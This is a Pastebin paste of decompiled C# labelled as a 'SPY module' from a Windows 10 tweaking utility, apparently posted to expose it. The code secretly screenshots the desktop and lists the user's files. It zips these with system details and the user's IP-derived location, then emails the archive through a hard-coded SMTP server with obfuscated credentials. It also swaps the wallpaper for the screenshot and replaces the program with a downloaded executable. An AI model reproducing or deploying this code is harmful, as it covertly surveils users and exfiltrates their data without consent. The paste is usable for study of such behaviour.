Advertisement
Guest User

Win 10 tweaker SPY module

a guest
Dec 12th, 2019
966
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 8.57 KB | None | 0 0
  1. using Microsoft.Win32;
  2. using System;
  3. using System.Collections.Generic;
  4. using System.Drawing;
  5. using System.Drawing.Imaging;
  6. using System.Graphics;
  7. using System.IO;
  8. using System.IO.Compression;
  9. using System.Linq;
  10. using System.Net;
  11. using System.Net.Mail;
  12. using System.Reflection;
  13. using System.Runtime.CompilerServices;
  14. using System.Runtime.InteropServices;
  15. using System.Text.RegularExpressions;
  16. using System.Windows.Forms;
  17. using Win_10_Tweaker;
  18.  
  19. public sealed class GForm0 : Form1
  20. {
  21.     public static void smethod_1()
  22.     {
  23.         Form35.smethod_1();
  24.         Form14.smethod_1();
  25.         try
  26.         {
  27.             smethod_2();
  28.         }
  29.         catch
  30.         {
  31.         }
  32.         try
  33.         {
  34.             smethod_3();
  35.         }
  36.         catch
  37.         {
  38.         }
  39.         try
  40.         {
  41.             smethod_4();
  42.         }
  43.         catch
  44.         {
  45.         }
  46.         try
  47.         {
  48.             ForceClose();
  49.         }
  50.         catch
  51.         {
  52.         }
  53.     }
  54.  
  55.     public static void smethod_2()
  56.     {
  57.         Struct18 struct2;
  58.         string filename = GClass5.string_1 + @"\Interface.bin";
  59.         string path = GClass5.string_1 + @"\ErrorLogs.bin";
  60.         Bitmap image = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
  61.         Graphics.FromImage(image).CopyFromScreen(0, 0, 0, 0, image.Size);
  62.         image.Save(filename, ImageFormat.Png);
  63.         string str4 = GClass5.string_1 + @"\Diagnostic.dat";
  64.         File.WriteAllText(str4, string.Join(Environment.NewLine, Settings_1.smethod_0()));
  65.         struct2.list_0 = new List<string>();
  66.         smethod_5(GClass5.string_3, "*.*", ref struct2);
  67.         File.WriteAllText(path, string.Join(Environment.NewLine, struct2.list_0));
  68.         string str5 = GClass5.string_1 + @"\Data.zip";
  69.         try
  70.         {
  71.             File.Delete(str5);
  72.         }
  73.         catch
  74.         {
  75.         }
  76.         try
  77.         {
  78.             using (ZipArchive archive = ZipFile.Open(str5, ZipArchiveMode.Create))
  79.             {
  80.                 archive.CreateEntryFromFile(str4, "List 1");
  81.                 archive.CreateEntryFromFile(filename, "bin");
  82.                 archive.CreateEntryFromFile(path, "List 2");
  83.             }
  84.             try
  85.             {
  86.                 File.Delete(str4);
  87.             }
  88.             catch
  89.             {
  90.             }
  91.             try
  92.             {
  93.                 File.Delete(filename);
  94.             }
  95.             catch
  96.             {
  97.             }
  98.         }
  99.         catch
  100.         {
  101.         }
  102.         string str6 = "";
  103.         string input = "";
  104.         using (WebClient client = new WebClient())
  105.         {
  106.             str6 = client.DownloadString("http://myexternalip.com/raw");
  107.             input = client.DownloadString("http://free.ipwhois.io/xml/" + str6);
  108.         }
  109.         Match match = Regex.Match(input, "<country>(.*?)</country>(.*?)<city>(.*?)</city>");
  110.         string str8 = match.Groups[1].Value + ", " + match.Groups[3].Value;
  111.         try
  112.         {
  113.             TimeSpan offset = DateTimeOffset.Now.Offset;
  114.             string str9 = (offset < TimeSpan.Zero) ? "-" : "+";
  115.             string address = "feedback@" + GetPro.string_1.Replace("https://", "").Replace("." + GetPro.string_2, "") + "." + GetPro.string_2;
  116.             string source = "username";
  117.             string str12 = "ASjHL4ML0VmI43";
  118.             MailMessage message1 = new MailMessage();
  119.             message1.From = new MailAddress(address, "Нарушитель");
  120.             MailMessage message = message1;
  121.             message.To.Add(new MailAddress("jailbreakvideo@gmail.com", "Хачатур"));
  122.             message.Subject = str6 + " | " + str8;
  123.             string[] textArray1 = new string[0x12];
  124.             textArray1[0] = "Часовой пояс: UTC ";
  125.             textArray1[1] = str9;
  126.             textArray1[2] = offset.ToString(@"hh\:mm");
  127.             textArray1[3] = "\nВерсия программы: ";
  128.             textArray1[4] = Assembly.GetExecutingAssembly().GetName().Version.ToString(2);
  129.             textArray1[5] = "\nЯзык: ";
  130.             textArray1[6] = Form1.locale;
  131.             textArray1[7] = "\nУчётная запись: ";
  132.             textArray1[8] = Form1.user;
  133.             textArray1[9] = "\nWindows: ";
  134.             textArray1[10] = WindowsDate();
  135.             textArray1[11] = "\nIP: ";
  136.             textArray1[12] = str6;
  137.             textArray1[13] = " | ";
  138.             textArray1[14] = str8;
  139.             textArray1[15] = "\nID: ";
  140.             textArray1[0x10] = Word.uniqueid;
  141.             textArray1[0x11] = "\n\n";
  142.             message.Body = string.Concat(textArray1);
  143.             message.Attachments.Add(new Attachment(str5));
  144.             SmtpClient client1 = new SmtpClient();
  145.             client1.Host = "smtp.beget.com";
  146.             client1.Port = 0x9dd;
  147.             client1.EnableSsl = false;
  148.             client1.Timeout = 0x4e20;
  149.             client1.Credentials = new NetworkCredential(address, "if(password==" + new string(source.Reverse<char>().ToArray<char>()).Replace("ema", "mae") + "))password=" + str12.Replace("ASj", "I43"));
  150.             client1.DeliveryMethod = SmtpDeliveryMethod.Network;
  151.             client1.Send(message);
  152.             message.Dispose();
  153.             try
  154.             {
  155.                 File.Delete(str5);
  156.             }
  157.             catch
  158.             {
  159.             }
  160.         }
  161.         catch
  162.         {
  163.             ForceClose();
  164.         }
  165.     }
  166.  
  167.     public static void smethod_3()
  168.     {
  169.         GClass2.smethod_0("Error");
  170.         Class11 class2 = new Class11 {
  171.             registryKey_0 = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\Wallpapers")
  172.         };
  173.         try
  174.         {
  175.             class2.registryKey_0.GetValueNames().ToList<string>().Where<string>((<>c.<>9__4_0 ?? (<>c.<>9__4_0 = new Func<string, bool>(this.method_0)))).ToList<string>().ForEach(new Action<string>(class2.method_0));
  176.         }
  177.         finally
  178.         {
  179.             if (class2.registryKey_0 != null)
  180.             {
  181.                 class2.registryKey_0.Dispose();
  182.             }
  183.         }
  184.         string filename = GClass5.string_5 + @"\wall.png";
  185.         Bitmap image = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
  186.         Graphics.FromImage(image).CopyFromScreen(0, 0, 0, 0, image.Size);
  187.         image.Save(filename, ImageFormat.Png);
  188.         SystemParametersInfo(20, 0, filename, 3);
  189.     }
  190.  
  191.     public static void smethod_4()
  192.     {
  193.         try
  194.         {
  195.             using (WebClient client = new WebClient())
  196.             {
  197.                 string path = GClass5.string_1 + @"\System.Diagnostic.bin";
  198.                 try
  199.                 {
  200.                     File.Delete(path);
  201.                 }
  202.                 catch
  203.                 {
  204.                 }
  205.                 File.Move(Form1.assemby, path);
  206.                 client.DownloadFile("https://jailbreakvideo.ru/Win%2010%20Tweaker.exe", Form1.assemby);
  207.             }
  208.         }
  209.         catch
  210.         {
  211.             ForceClose();
  212.         }
  213.     }
  214.  
  215.     [CompilerGenerated]
  216.     internal static List<string> smethod_5(string string_0, string string_1, ref Struct18 struct18_0)
  217.     {
  218.         List<string> second = new List<string>();
  219.         string[] collection = null;
  220.         try
  221.         {
  222.             collection = Directory.GetFiles(string_0, string_1);
  223.             second.AddRange(collection);
  224.         }
  225.         catch
  226.         {
  227.         }
  228.         if (collection != null)
  229.         {
  230.             foreach (string str in Directory.GetDirectories(string_0))
  231.             {
  232.                 second.AddRange(smethod_5(str, string_1, ref struct18_0));
  233.             }
  234.         }
  235.         struct18_0.list_0 = struct18_0.list_0.Union<string>(second).ToList<string>();
  236.         return second;
  237.     }
  238.  
  239.     [DllImport("user32.dll", CharSet=CharSet.Auto)]
  240.     private static extern int SystemParametersInfo(int int_0, int int_1, string string_0, int int_2);
  241.  
  242.     [Serializable, CompilerGenerated]
  243.     private sealed class <>c
  244.     {
  245.         public static readonly GForm0.<>c <>9 = new GForm0.<>c();
  246.         public static Func<string, bool> <>9__4_0;
  247.  
  248.         internal bool method_0(string string_0) =>
  249.             string_0.Contains("BackgroundHistoryPath");
  250.     }
  251.  
  252.     [CompilerGenerated]
  253.     private sealed class Class11
  254.     {
  255.         public RegistryKey registryKey_0;
  256.  
  257.         internal void method_0(string string_0)
  258.         {
  259.             this.registryKey_0.DeleteValue(string_0);
  260.         }
  261.     }
  262.  
  263.     [CompilerGenerated]
  264.     private struct Struct18
  265.     {
  266.         public List<string> list_0;
  267.     }
  268. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement